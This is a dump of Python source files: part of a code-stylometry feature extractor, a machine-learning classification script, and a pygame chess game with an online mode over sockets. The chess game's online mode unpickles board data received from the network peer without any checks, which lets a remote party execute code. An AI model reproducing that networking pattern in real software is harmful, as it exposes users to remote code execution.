Merge them and return them\n prevelem = None\n for i, value in enumerate(self.codestylosubclasses.values()):\n if i == 0:\n prevelem = value\n else:\n prevelem = value.mergeToNewObject(prevelem)\n\n\n return prevelem.featurematrix, prevelem.colnames, prevelem.authors, \\\n prevelem.iids\n\n\n # @Overwrite\n def __getitem__(self, index):\n \"\"\"\n Implements the row-access via [].\n For example, you can select the wanted rows via obj[2:5] now.\n :param index: the wanted indices\n :return: a new CodeStyloFeatures object with filtered rows.\n \"\"\"\n newstylofeatureobject = copy.deepcopy(self)\n for key, val in newstylofeatureobject.codestylosubclasses.items():\n newstylofeatureobject.codestylosubclasses[key] = val[index]\n newstylofeatureobject.tfidftransformer = None\n newstylofeatureobject.tfidftransformer2nd = None\n\n newstylofeatureobject.featurematrix = newstylofeatureobject.featurematrix[index, :]\n newstylofeatureobject.iids = newstylofeatureobject.iids[index]\n newstylofeatureobject.authors = newstylofeatureobject.authors[index]\n\n return newstylofeatureobject\n\n\n # @Overwrite\n def gettfidffeatures(self, trainobject: typing.Optional['CodeStyloFeatures']):\n \"\"\"\n Special Case: we create tf versions only for specific classes if tf is true.\n Moreover, if tfidf was set to true before, we create for some feature classes\n tf and tf-idf versions.\n Returns new featurematrix and column names, adapted to tf-idf.\n \"\"\"\n\n astnodefeaturepaths = [\"ast_node_bigram.dat\", \"ast_node_types.dat\", \"ast_node_types_avg_dep.dat\",\n \"code_in_ast_leaves.dat\", \"code_in_ast_leaves_avg_dep.dat\", \"max_depth_ast_node.dat\"]\n\n # tf and tf-idf such as in Caliskan et al.\n tfinstances = [True, True, False, True, False, False]\n idfinstances = [False, True, False, True, False, False]\n featmatrix_list = []\n colnames_list = []\n\n if self.get_lexical_features:\n astnodefeaturepaths.append(\"lexical_features.dat\")\n tfinstances.append(False)\n idfinstances.append(False)\n\n # Run over each code stylo sub class and get tf (and possibly tf-idf) feature matrix\n for cpath, ctf, cidf in zip(astnodefeaturepaths, tfinstances, idfinstances):\n curcodestylo: CodeStyloJoernFeatCl = self.codestylosubclasses[cpath]\n ctrainobj = None if trainobject is None else trainobject.codestylosubclasses[cpath]\n\n # tf\n featmatrix, colnames = curcodestylo.apply_tf_idf_normalization(tf=ctf and self.tf, idf=False, trainobject=ctrainobj)\n featmatrix_list.append(featmatrix)\n colnames_list.append(colnames)\n\n # tf + idf\n if ctf and cidf and self.tfidf:\n featmatrix, colnames = curcodestylo.apply_tf_idf_normalization(tf=ctf, idf=cidf, trainobject=ctrainobj)\n featmatrix_list.append(featmatrix)\n colnames_list.append(colnames)\n\n # Merge them and return them: concatenate all feature matrices and column names\n featurematrix = featmatrix_list[0]\n colnames = colnames_list[0]\n\n for i in range(1, len(featmatrix_list)):\n featurematrix = sparse.hstack([featurematrix, featmatrix_list[i]], format=\"csr\")\n colnames = colnames + colnames_list[i]\n\n return featurematrix, colnames\n\n\n\n\n","sub_path":"src/PyProject/featureextraction/CodeStyloJoernFeatures.py","file_name":"CodeStyloJoernFeatures.py","file_ext":"py","file_size_in_byte":10230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"463931014","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n\nimport time\nfrom collections import Counter\nimport os\n\nfrom eslearn.base import DataLoader\nfrom eslearn.machine_learning.classification._base_classification import BaseClassification\nfrom eslearn.model_evaluator import ModelEvaluator\n\n\nclass Classification(DataLoader, BaseClassification):\n \n def __init__(self, configuration_file):\n DataLoader.__init__(self, configuration_file)\n BaseClassification.__init__(self, location=os.path.dirname(configuration_file))\n\n def main_run(self):\n # Get all inputs\n self.load_data()\n self.get_all_inputs()\n\n # Make pipeline\n self.make_pipeline_()\n \n # Get training and test datasets \n cv = self.method_model_evaluation_ \n accuracy = []\n sensitivity = []\n specificity = []\n auc = []\n pred_test = []\n decision = []\n weights = []\n target_test_all = []\n for train_index, test_index in cv.split(self.features_, self.targets_):\n feature_train = self.features_[train_index, :]\n feature_test = self.features_[test_index, :]\n target_train = self.targets_[train_index]\n target_test = self.targets_[test_index]\n target_test_all.extend(target_test)\n\n # Resample\n imbalance_resample = self.method_unbalance_treatment_\n if imbalance_resample:\n feature_train, target_train = imbalance_resample.fit_resample(feature_train, target_train)\n print(f\"After re-sampling, the sample size are: {sorted(Counter(target_train).items())}\")\n \n # Fit\n self.fit_(feature_train, target_train)\n \n # Get weights\n self.get_weights_(feature_train, target_train)\n \n # Predict\n y_pred, y_prob = self.predict(feature_test)\n \n # Eval performances\n acc, sens, spec, auc_ = ModelEvaluator().binary_evaluator(\n target_test, y_pred, y_prob,\n accuracy_kfold=None, sensitivity_kfold=None, specificity_kfold=None, AUC_kfold=None,\n verbose=False, is_showfig=False, is_savefig=False\n )\n \n accuracy.append(acc)\n sensitivity.append(sens)\n specificity.append(spec)\n auc.append(auc_)\n pred_test.extend(y_pred)\n decision.extend(y_prob)\n weights.append(self.weights_)\n \n # Eval performances for all fold\n acc, sens, spec, auc = ModelEvaluator().binary_evaluator(\n target_test_all, pred_test, decision,\n accuracy_kfold=accuracy, sensitivity_kfold=sensitivity, specificity_kfold=specificity, AUC_kfold=auc,\n verbose=1, is_showfig=False, is_savefig=False, legend1='EMCI', legend2='AD', out_name=r\"D:\\悦影科技\\数据处理业务1\\data_variance_22_30_z\\分类结果\\adVSemci.pdf\")\n\n return y_pred, y_prob\n\n\nif __name__ == \"__main__\":\n time_start = time.time()\n clf = Classification(configuration_file=r'D:\\My_Codes\\virtualenv_eslearn\\Lib\\site-packages\\eslearn\\GUI\\test\\configuration_file.json') \n clf.main_run()\n time_end = time.time()\n print(clf.param_search_)\n print(clf.pipeline_)\n print(f\"Running time = {time_end-time_start}\\n\")\n print(\"=\"*50)","sub_path":"machine_learning/classification/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"445452932","text":"import pieces\nimport sys\nimport pygame\nimport socket\nimport pickle\nimport time\n\n\npygame.init()\n\nsize = [1600, 900]\ninMenu = True\ntop = size[1]/10\nleft = (size[0] - (size[1] - 2*top)) / 2\nsquareSize = int((size[1] - 2*top) / 8)\n\nscreen = pygame.display.set_mode(size, pygame.RESIZABLE)\ncolor = (0, 0, 0)\nwhite = (255, 255, 255)\nscreen.fill(color)\n\nbrown = (153, 102, 51)\nlightBrown = (236, 217, 198)\n\n\ndef defineSize():\n size = screen.get_size()\n top = size[1]/10\n left = (size[0] - (size[1] - 2*top)) / 2\n squareSize = int((size[1] - 2*top) / 8)\n return int(top), int(left), int(squareSize)\n\n\ndef drawMenu():\n top, left, squareSize = defineSize()\n screen.fill(color)\n x, y = screen.get_size()\n heightLetters = 35\n textFont = pygame.font.SysFont(\"calibri\", heightLetters, True)\n\n text1 = textFont.render(\"Schach lokal spielen\", True, white)\n text2 = textFont.render(\"Schach online spielen\", True, white)\n\n text3 = textFont.render(\"Schachvariante lokal spielen\", True, white)\n text4 = textFont.render(\"Schachvariante online spielen\", True, white)\n texts = [text1, text2, text3, text4]\n maxWidth = text4.get_size()[0]\n\n image = pygame.image.load(\"Sprites/chess_position.png\")\n image = pygame.transform.smoothscale(image, (y, y))\n screen.blit(image, ((x-y)/2, 0))\n\n for a in range(4):\n width = texts[a].get_size()[0]\n\n surface = pygame.Surface((maxWidth + 40, heightLetters + 10))\n surface.fill(brown)\n surface.blit(texts[a], ((maxWidth-width)/2 + 20, 5))\n surface.set_alpha(200)\n screen.blit(surface, (x/2-maxWidth/2 - 20,\n (top + squareSize + 2*a*squareSize - heightLetters/2 - 5)))\n\n\ndef chooseVariant(x, y):\n top, left, squareSize = defineSize()\n xVal, yVal = screen.get_size()\n if x > xVal/2 - 239 and x < xVal/2 + 239:\n if y > top + squareSize - 35/2 - 5 and y < top + squareSize - 35/2 - 5 + 45:\n return 0\n elif y > top + squareSize + 2*squareSize - 35/2 - 5 and y < top + squareSize + 2*squareSize - 35/2 - 5 + 45:\n return 1\n elif y > top + squareSize + 4*squareSize - 35/2 - 5 and y < top + squareSize + 4*squareSize - 35/2 - 5 + 45:\n return 2\n elif y > top + squareSize + 6*squareSize - 35/2 - 5 and y < top + squareSize + 6*squareSize - 35/2 - 5 + 45:\n return 3\n\n\ndef drawBoard(board, turn):\n if inMenu:\n drawMenu()\n else:\n top, left, squareSize = defineSize()\n\n screen.fill(color)\n\n for a in range(8):\n for b in range(8):\n\n if (a + b) % 2 == 1:\n square = ((left + a * squareSize), (top + b *\n squareSize), squareSize, squareSize)\n pygame.draw.rect(screen, brown, square)\n\n else:\n square = ((left + a * squareSize), (top + b *\n squareSize), squareSize, squareSize)\n pygame.draw.rect(screen, lightBrown, square)\n\n if inCheck(board, turn):\n drawCheck(board, turn)\n else:\n drawPieces(board)\n\n pygame.display.update()\n\n\ndef newBoard():\n def placePieces(color):\n return [pieces.Rook(color), pieces.Knight(color), pieces.Bishop(color), pieces.Queen(color),\n pieces.King(color), pieces.Bishop(color), pieces.Knight(color), pieces.Rook(color)]\n\n def placePawns(color):\n return [pieces.Pawn(color) for i in range(8)]\n\n board = [[None for i in range(8)] for i in range(8)]\n\n board[0] = placePieces(\"black\")\n board[7] = placePieces(\"white\")\n board[1] = placePawns(\"black\")\n board[6] = placePawns(\"white\")\n\n return board\n\n\ndef findClickedSquare(pos):\n top, left, squareSize = defineSize()\n x, y = pos\n\n x = int((x-left)/squareSize)\n y = int((y-top)/squareSize)\n return x, y\n\n\ndef drawPieces(board):\n top, left, squareSize = defineSize()\n\n for a in range(8):\n for b in range(8):\n\n if board[b][a] != None:\n coord = ((left + squareSize * a), (top + squareSize * b))\n spriteOfPiece = pygame.image.load(board[b][a].sprite)\n image = pygame.transform.smoothscale(\n spriteOfPiece, (squareSize, squareSize))\n screen.blit(image, coord)\n pygame.display.update()\n\n\ndef drawChosenPiece(board, x, y):\n top, left, squareSize = defineSize()\n\n square = ((left + x * squareSize), (top + y *\n squareSize), squareSize, squareSize)\n pygame.draw.rect(screen, (0, 200, 0), square)\n\n coord = ((left + squareSize * x), (top + squareSize * y))\n spriteOfPiece = pygame.image.load(board[y][x].sprite)\n image = pygame.transform.smoothscale(\n spriteOfPiece, (squareSize, squareSize))\n screen.blit(image, coord)\n pygame.display.update()\n\n\ndef findLegalMoves(board, chosenPiece, turn):\n x, y = chosenPiece\n moveset = []\n\n mov = list(board[y][x].moves)\n\n legalMoves = []\n\n ########################\n if board[y][x].name == \"pawn\":\n if board[y][x].color == \"white\" and y == 6:\n b = 2\n elif board[y][x].color == \"black\" and y == 1:\n b = 2\n else:\n b = 1\n\n for m in mov:\n for a in range(1, b + 1):\n if 8 > x + m[0] * a > -1 and 8 > y + m[1] * a > -1 and board[y + m[1] * a][x + m[0] * a] == None:\n moveset.append((m[0] * a, m[1] * a))\n\n elif 8 > x + m[0] * a > -1 and 8 > y + m[1] * a > -1 and board[y + m[1] * a][x + m[0] * a].color != turn:\n if (m[0] * a, m[1] * a) in moveset:\n moveset.remove((m[0] * a, m[1] * a))\n break\n\n else:\n break\n\n # capture sideways\n if board[y][x].color == \"black\":\n yDir = -1\n else:\n yDir = 1\n\n if 8 > x + 1 > -1 and 8 > y - 1 * yDir > -1 and board[y - 1 * yDir][x + 1] != None and board[y - 1 * yDir][x + 1].color != turn:\n legalMoves.append((1, - yDir))\n\n if 8 > x - 1 > -1 and 8 > y - 1 * yDir > -1 and board[y - 1 * yDir][x - 1] != None and board[y - 1 * yDir][x - 1].color != turn:\n legalMoves.append((-1, -yDir))\n\n ###############################################\n\n if board[y][x].name == \"queen\" or board[y][x].name == \"rook\" or board[y][x].name == \"bishop\":\n for m in mov:\n for a in range(1, 8):\n\n if 8 > x + m[0] * a > -1 and 8 > y + m[1] * a > -1 and board[y + m[1] * a][x + m[0] * a] == None:\n moveset.append((m[0] * a, m[1] * a))\n elif 8 > x + m[0] * a > -1 and 8 > y + m[1] * a > -1 and board[y + m[1] * a][x + m[0] * a].color != turn:\n moveset.append((m[0] * a, m[1] * a))\n break\n else:\n break\n ###########################################\n if board[y][x].name == \"king\":\n for m in mov:\n if 8 > x + m[0] > -1 and 8 > y + m[1] > -1 and board[y + m[1]][x + m[0]] == None:\n moveset.append((m[0], m[1]))\n elif 8 > x + m[0] > -1 and 8 > y + m[1] > -1 and board[y + m[1]][x + m[0]].color != turn:\n moveset.append((m[0], m[1]))\n\n ######################################\n if board[y][x].castlingAllowed == True:\n # check short castle\n shortCastle = (False, False)\n\n if x + 2 < 8 and board[y][x + 1] == None and board[y][x + 2] == None:\n shortCastle = (True, shortCastle[1])\n if x + 3 < 8 and board[y][x + 3] != None:\n if board[y][x + 3].name == \"rook\" and board[y][x + 3].castlingAllowed == True:\n shortCastle = (shortCastle[0], True)\n\n if shortCastle == (True, True):\n moveset.append((2, 0))\n\n ############################################\n # check long castle\n longCastle = (False, False)\n if x - 3 > -1 and board[y][x - 1] == None and board[y][x - 2] == None and board[y][x - 3] == None:\n longCastle = (True, longCastle[1])\n if x - 4 > -1 and board[y][x - 4] != None:\n if board[y][x - 4].name == \"rook\" and board[y][x - 4].castlingAllowed == True:\n longCastle = (longCastle[0], True)\n if longCastle == (True, True):\n moveset.append((-2, 0))\n ##############################################\n if board[y][x].name == \"knight\":\n for m in mov:\n if 8 > x + m[0] > -1 and 8 > y + m[1] > -1 and board[y + m[1]][x + m[0]] == None:\n moveset.append((m[0], m[1]))\n elif 8 > x + m[0] > -1 and 8 > y + m[1] > -1 and board[y + m[1]][x + m[0]].color != turn:\n moveset.append((m[0], m[1]))\n\n for m in moveset:\n if 8 > x + m[0] > -1 and 8 > y + m[1] > -1 and (board[y + m[1]][x + m[0]] == None or board[y + m[1]][x + m[0]].color != turn):\n legalMoves.append((m[0], m[1]))\n\n return legalMoves\n\n\ndef drawLegalMoves(board, chosenPiece, turn):\n top, left, squareSize = defineSize()\n # findLegalMoves -> findAllLegalMoves\n legalMoves = findAllLegalMoves(board, chosenPiece, turn)\n x, y = chosenPiece\n\n for l in legalMoves:\n l = (l[0] + x, l[1] + y)\n center = ((l[0]*squareSize + left + squareSize/2),\n (l[1]*squareSize + top + squareSize/2))\n pygame.draw.circle(screen, (10, 10, 10), center, squareSize/3)\n\n\ndef moveToNotation(moveHistory, notationHistory):\n length = len(moveHistory)\n lastMove = moveHistory[length - 1]\n notation = lastMove[0] + chr(int(lastMove[1]) + 65) + lastMove[2]\n notationHistory.append(notation)\n return notationHistory\n\n\ndef getPawnPromotion(x, y):\n top, left, squareSize = defineSize()\n width, heigth = screen.get_size()\n\n x = int((x - width/2 + 2*squareSize)/squareSize)\n y = int((y - heigth/2 + squareSize/2)/squareSize)\n\n if y == 0:\n if x == 0:\n return \"queen\"\n elif x == 1:\n return \"rook\"\n elif x == 2:\n return \"bishop\"\n elif x == 3:\n return \"knight\"\n else:\n return 0\n else:\n return 0\n\n\ndef findKing(board, turn):\n for y in range(8):\n for x in range(8):\n if board[y][x] != None and board[y][x].name == \"king\" and board[y][x].color == turn:\n return x, y\n\n\ndef inCheck(board, turn):\n a, b = findKing(board, turn)\n\n # we want to know whether the black king is in check after white moved, therefore we need to find the legal moves of white(def findLegalMove).\n # But turn would be black because white just moved, so we switch turn.\n if turn == \"white\":\n turn = \"black\"\n else:\n turn = \"white\"\n\n for y in range(8):\n for x in range(8):\n # this turn and the turn in the next line need to be the same\n if board[y][x] != None and board[y][x].color == turn:\n lMoves = findLegalMoves(board, (x, y), turn)\n for m in lMoves:\n if m[0] + x == a and m[1] + y == b:\n return True\n return False\n\n\ndef drawCheck(board, turn):\n top, left, squareSize = defineSize()\n x, y = findKing(board, turn)\n square = (left + x * squareSize, top + y *\n squareSize, squareSize, squareSize)\n pygame.draw.rect(screen, (255, 0, 0), square)\n drawPieces(board)\n\n\ndef drawPromotion(c):\n screen.fill(color)\n brown = (153, 102, 51)\n lightBrown = (236, 217, 198)\n top, left, squareSize = defineSize()\n width, height = screen.get_size()\n\n promotionPieces = [\"queen\", \"rook\", \"bishop\", \"knight\"]\n\n for a in range(4):\n left = width/2 + (a - 2) * squareSize\n top = height/2 - squareSize/2\n square = (left, top, squareSize, squareSize)\n if a % 2 == 0:\n sColor = lightBrown\n else:\n sColor = brown\n\n pygame.draw.rect(screen, sColor, square)\n\n name = promotionPieces[a]\n\n image1 = pygame.image.load(\"Sprites/\" + c + \"_\" + name + \".png\")\n image1 = pygame.transform.smoothscale(image1, (squareSize, squareSize))\n screen.blit(image1, (left, top))\n\n pygame.display.update()\n\n###############################################\n\n\ndef castleThroughCheck(board, a, b, legalMoves, turn):\n \"\"\"\n print(legalMoves)\n\n print(turn)\n print(board[b][a])\"\"\"\n if (2, 0) in legalMoves:\n\n for add in range(0, 2):\n virtualBoard = []\n for q in range(8):\n virtualBoard.append(list(board[q]))\n virtualBoard[b][a] = None\n virtualBoard[b][a + add] = pieces.King(turn)\n if inCheck(virtualBoard, turn):\n legalMoves.remove((2, 0))\n break\n\n if (-2, 0) in legalMoves:\n print(legalMoves)\n for add in range(0, -2, -1):\n virtualBoard = []\n for q in range(8):\n virtualBoard.append(list(board[q]))\n virtualBoard[b][a] = None\n virtualBoard[b][a + add] = pieces.King(turn)\n if inCheck(virtualBoard, turn):\n legalMoves.remove((-2, 0))\n break\n\n return legalMoves\n\n\ndef removeMovesDueToCheck(board, a, b, turn, legalMoves):\n if board[b][a] != None and board[b][a].color == turn:\n if board[b][a].name == \"king\" and board[b][a].castlingAllowed == True:\n legalMoves = castleThroughCheck(board, a, b, legalMoves, turn)\n virtualBoard = []\n lMovesCopy = list(legalMoves)\n for m in lMovesCopy:\n virtualBoard = []\n for q in range(8):\n virtualBoard.append(list(board[q]))\n virtualBoard[b + m[1]][a + m[0]] = virtualBoard[b][a]\n virtualBoard[b][a] = None\n if inCheck(virtualBoard, turn):\n legalMoves.remove(m)\n return legalMoves\n\n\ndef findAllLegalMoves(board, chosenPiece, turn):\n a, b = chosenPiece\n legalMoves = findLegalMoves(board, chosenPiece, turn)\n return removeMovesDueToCheck(board, a, b, turn, legalMoves)\n\n\ndef variant(board, target, turn):\n x, y = target\n\n if board[y][x].name == \"queen\":\n board[y][x] = pieces.Queen(turn)\n elif board[y][x].name == \"rook\":\n board[y][x] = pieces.Rook(turn)\n elif board[y][x].name == \"bishop\":\n board[y][x] = pieces.Bishop(turn)\n elif board[y][x].name == \"knight\":\n board[y][x] = pieces.Knight(turn)\n\n\ndef displayIP():\n heightLetters = 35\n x, y = screen.get_size()\n\n textFont = pygame.font.SysFont(\"calibri\", heightLetters, True)\n self_ip = str(socket.gethostbyname(socket.gethostname()))\n self_ip = f\"your IP: {self_ip}\"\n text_ip = textFont.render(self_ip, True, white)\n\n w, h = text_ip.get_size()\n\n surface = pygame.Surface((w + 40, h + 10))\n surface.fill(brown)\n surface.blit(text_ip, (20, 5))\n surface.set_alpha(200)\n\n screen.blit(surface, (x/2-w/2-20, y/3 - h/2 - 5))\n\n # host menu button\n w, h = 700, 100\n l, t = x/2 - w/2, (2*y)/3 - h/2\n\n text1 = 'Host Game' # 160, 35\n text2 = 'You dont need to enter an IP to host a Game' # 650, 35\n textButton1 = textFont.render(text1, True, white)\n textButton2 = textFont.render(text2, True, white)\n\n surface = pygame.Surface((w, h))\n surface.fill(color)\n surface.blit(textButton1, (700/2 - 160/2, 10))\n surface.blit(textButton2, (700/2 - 650/2, 10 + 35 + 10))\n surface.set_alpha(200)\n\n screen.blit(surface, (l, t))\n return (l, t), surface.get_size()\n # give l, t, w, h to inputField\n\n\ndef inputField():\n inputFinished = False\n opponent_ip = '192.168.43.34'\n clicked = True\n while not inputFinished:\n x, y = screen.get_size()\n textFont = pygame.font.SysFont(\"calibri\", 35, True)\n w, h = 500, 50\n left = (screen.get_size()[0] - w)/2\n top = (screen.get_size()[1] - h)/2 + 10\n inputField = pygame.Rect(left, top, w, h)\n\n (l, t), size = displayIP()\n button = pygame.Rect(l, t, size[0], size[1])\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[0] == True:\n x, y = pygame.mouse.get_pos()\n if inputField.collidepoint((x, y)):\n clicked = True\n elif button.collidepoint(x, y):\n hosting = True\n return hosting\n else:\n clicked = False\n elif event.type == pygame.KEYDOWN:\n if clicked:\n if event.key == pygame.K_RETURN:\n return opponent_ip\n elif event.key == pygame.K_BACKSPACE:\n opponent_ip = opponent_ip[:-1]\n else:\n opponent_ip += event.unicode\n elif event.type == pygame.VIDEORESIZE:\n x, y = screen.get_size()\n\n x, y = screen.get_size()\n screen.fill((0, 0, 0))\n image = pygame.image.load(\"Sprites/chess_position.png\")\n image = pygame.transform.smoothscale(image, (y, y))\n screen.blit(image, ((x-y)/2, 0))\n\n (l, t), size = displayIP()\n\n inputF = textFont.render(opponent_ip, True, color)\n if inputF.get_size()[0] + 15 > w:\n w = inputF.get_size()[0] + 15\n inputField = pygame.Rect(left, top, w, h)\n screen.blit(inputF, (left + 10, top + 7))\n pygame.draw.rect(screen, color, inputField, 5)\n pygame.display.update()\n\ndef checkStalemate(board, turn):\n isStalemate = True\n for a in range(8):\n for b in range(8):\n if board[b][a] != None and board[b][a].color == turn:\n if findAllLegalMoves(board, (a, b), turn) != []:\n isStalemate = False\n break\n if inCheck(board, turn):\n isStalemate = False\n return isStalemate\n\ndef stalemate():\n msg = f'Stalemate, press enter'\n textFont = pygame.font.SysFont(\"calibri\", 50, True)\n winMsg = textFont.render(msg, True, white)\n\n wid = winMsg.get_size()[0]\n\n surf = pygame.Surface((wid + 20, 70))\n surf.fill(brown)\n surf.set_alpha(200)\n size = screen.get_size()\n surf.blit(winMsg, (10, 10))\n screen.blit(surf, (size[0]/2 - wid/2 - 10, size[1]/2 - 35))\n pygame.display.update()\n pressedEscape = False\n while pressedEscape == False:\n for event2 in pygame.event.get():\n if event2.type == pygame.KEYDOWN and event2.key == pygame.K_RETURN:\n pressedEscape = True\n elif event2.type == pygame.QUIT: \n sys.exit()\n \ndef checkForCheckmate(board, turn):\n if inCheck(board, turn):\n saved = False\n for b in range(8):\n for a in range(8):\n if board[b][a] != None and board[b][a].color == turn:\n lMoves = findLegalMoves(board, (a, b), turn)\n virtualBoard = []\n lMovesCopy = list(lMoves)\n for m in lMovesCopy:\n virtualBoard = []\n for q in range(8):\n virtualBoard.append(list(board[q]))\n virtualBoard[b + m[1]][a + m[0]] = virtualBoard[b][a]\n virtualBoard[b][a] = None\n if not inCheck(virtualBoard, turn):\n saved = True\n else:\n lMoves.remove(m)\n #print(lMoves, board[b][a].name, (a, b))\n return saved\n return True\n\ndef checkmateMessage(turn):\n if turn == 'white':\n\n winner = 'black'\n else:\n winner = 'white'\n\n msg = f'Checkmate, {winner} won. press enter'\n textFont = pygame.font.SysFont(\"calibri\", 50, True)\n winMsg = textFont.render(msg, True, white)\n\n wid = winMsg.get_size()[0]\n\n surf = pygame.Surface((wid + 20, 70))\n surf.fill(brown)\n surf.set_alpha(200)\n size = screen.get_size()\n surf.blit(winMsg, (10, 10))\n screen.blit(surf, (size[0]/2 - wid/2 - 10, size[1]/2 - 35))\n pygame.display.update()\n pressedEscape = False\n while pressedEscape == False:\n for event2 in pygame.event.get():\n if event2.type == pygame.KEYDOWN and event2.key == pygame.K_RETURN:\n pressedEscape = True\n elif event2.type == pygame.QUIT: \n sys.exit()\n \nstalemateBoard = [[None for i in range(8)] for i in range(8)]\nstalemateBoard[0][0] = pieces.King(\"black\")\nstalemateBoard[1][3] = pieces.Queen(\"white\")\nstalemateBoard[7][7] = pieces.King(\"white\")\n\ndef main():\n global inMenu\n #NotOpen = True\n playerColor = 'both'\n chosenVariant = 4\n top, left, squareSize = defineSize()\n turn = \"white\"\n chosenPiece = None\n target = None\n moveHistory = []\n notationHistory = []\n pygame.display.update()\n \n \n board = newBoard()\n #board = stalemateBoard\n drawBoard(board, turn)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((socket.gethostname(), 59822))#(IP, Port)\n s.listen(5) #queue size\n while True:\n if chosenVariant == 0 or chosenVariant == 2:\n s.close()\n if (chosenVariant == 1 or chosenVariant == 3) and playerColor != turn and playerColor != 'both':\n full_msg = b''\n new_msg = True\n msglen = 3000\n f = True\n while f == True or socketOPPONENT.fileno() == -1:\n f = False\n socketOPPONENT, address = s.accept()\n opponentIP = address[0]\n print(f\"Connection from {address} has been established\")\n \n while len(full_msg)-8 != msglen:\n #print(len(full_msg)-8, msglen)\n \"\"\"\n data = socketOPPONENT.recv(5096)\n print(data, len(data))\n msg = pickle.loads(data)\n \"\"\"\n msg = socketOPPONENT.recv(16)\n if new_msg:\n #print(\"new msg len:\",msg[:8])\n msglen = int(msg[:8])\n new_msg = False\n\n #print(f\"full message length: {msglen}\")\n\n full_msg += msg\n\n #print(len(full_msg))\n\n \n print(\"full msg recvd\")\n \n board = pickle.loads(full_msg[8:])\n \n print(682, board, '----------------------------------------------')\n turn = playerColor\n\n\n drawBoard(board, turn)\n pygame.event.get()\n pygame.display.update()\n pygame.event.get()\n if inCheck(board, turn):\n drawCheck(board, turn)\n else:\n drawBoard(board, turn)\n pygame.display.flip()\n\n\n if not checkForCheckmate(board, turn):\n checkmateMessage(turn)\n inMenu = True\n turn = \"white\"\n board = newBoard()\n moveHistory = []\n notationHistory = []\n print(\"Checkmate, \", turn, \" loses\")\n\n if checkStalemate(board, turn):\n\n stalemate()\n inMenu = True\n board = newBoard()\n moveHistory = []\n notationHistory = []\n turn = \"white\"\n\n pygame.display.update()\n \n\n for event in pygame.event.get():\n if event.type == pygame.QUIT: \n sys.exit()\n elif event.type == pygame.MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[0] == True:\n if inMenu:\n pos = pygame.mouse.get_pos()\n print(pos)\n x, y = pos\n if chooseVariant(x, y) == 0 or chooseVariant(x, y) == 2:\n playerColor = 'both'\n inMenu = False\n chosenVariant = chooseVariant(x, y)\n screen.fill(color)\n drawBoard(board, turn)\n elif chooseVariant(x, y) == 1 or chooseVariant(x, y) == 3:\n chosenVariant = chooseVariant(x, y)\n opponentIP = inputField()\n if opponentIP == True:\n playerColor = 'black'\n opponentIP = ''\n else:\n playerColor = 'white'\n print(opponentIP)\n inMenu = False\n drawBoard(board, turn)\n \n else:\n top, left, squareSize = defineSize()\n pos = pygame.mouse.get_pos()\n x, y = pos\n \n if left + 8*squareSize > x > left and top + 8*squareSize > y > top:\n x, y = findClickedSquare(pos)\n\n\n if board[y][x] != None:\n if board[y][x].color == turn:\n chosenPiece = x, y\n if chosenPiece != None and board[y][x] != None:\n if board[y][x].color != turn:\n target = x, y\n elif chosenPiece != None and board[y][x] == None:\n target = x, y\n\n if chosenPiece != None:\n x, y = chosenPiece\n\n drawBoard(board, turn)\n drawChosenPiece(board, x, y)\n drawLegalMoves(board, chosenPiece, turn)\n \n pygame.display.update()\n \n if target != None and chosenPiece != None:#check whether you can capture the target piece\n x, y = target\n oldX, oldY = chosenPiece\n diff = (x - oldX, y - oldY)\n \n m = findAllLegalMoves(board, chosenPiece, turn)\n\n if diff in m:#capture piece\n moveHistory.append(board[oldY][oldX].notation + str(x) + str(8 - y))\n notationHistory = moveToNotation(moveHistory, notationHistory)\n print(notationHistory)\n # TODO: add Checks, castling, captures and promotion to notation\n \n if board[oldY][oldX].name == \"king\" or board[oldY][oldX].name == \"rook\":\n board[oldY][oldX].castlingAllowed = False\n \n if board[oldY][oldX].name == \"king\" and diff == (2, 0):\n # move rook for short castling\n board[oldY][oldX + 1] = board[oldY][oldX + 3]\n board[oldY][oldX + 3] = None\n elif board[oldY][oldX].name == \"king\" and diff == (-2, 0):\n # move rook for long castling\n board[oldY][oldX - 1] = board[oldY][oldX - 4]\n board[oldY][oldX - 4] = None\n\n #########################################\n # promotion\n undidMove = False #for control later on\n if board[oldY][oldX].name == \"pawn\" and (y == 7 or y == 0):\n # promotion\n drawPromotion(board[oldY][oldX].color)\n\n if inCheck(board, turn):\n drawCheck(board, turn)\n # pygame.display.update()\n\n promoteTo = None\n \n\n while promoteTo != \"queen\" and promoteTo != \"rook\" and promoteTo != \"knight\" and promoteTo != \"bishop\" and promoteTo != 0:\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[0] == True:\n x1, y1 = pygame.mouse.get_pos()\n promoteTo = getPawnPromotion(x1, y1)\n ########################### \n elif event.type == pygame.VIDEORESIZE:\n drawPromotion(board[oldY][oldX].color)\n ###########################\n elif event.type == pygame.QUIT: \n sys.exit()\n\n if promoteTo == \"queen\": \n board[oldY][oldX] = pieces.Queen(turn)\n elif promoteTo == \"rook\": \n board[oldY][oldX] = pieces.Rook(turn)\n elif promoteTo == \"bishop\": \n board[oldY][oldX] = pieces.Bishop(turn)\n elif promoteTo == \"knight\": \n board[oldY][oldX] = pieces.Knight(turn)\n else:\n undidMove = True\n #######################################################\n \n if undidMove == False: #if not promoted\n # variant\n if board[oldY][oldX].name == \"pawn\" and board[target[1]][target[0]] != None and board[target[1]][target[0]].name != \"pawn\" and (chosenVariant == 2 or chosenVariant == 3):\n variant(board, target, turn)\n else:\n board[y][x] = board[oldY][oldX]\n \n board[oldY][oldX] = None\n chosenPiece = None\n target = None\n\n if turn == \"white\":\n turn = \"black\"\n else:\n turn = \"white\"\n\n if chosenVariant == 1 or chosenVariant == 3:\n # send new board to opponent\n msg = pickle.dumps(board)\n msg = bytes(f\"{len(msg):<{8}}\", 'utf-8')+msg\n print(msg, len(msg))\n sOpponent = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sOpponent.connect((opponentIP, 59822))#(IP, Port)\n sOpponent.send(msg)\n \n \n # check for stalemate\n if 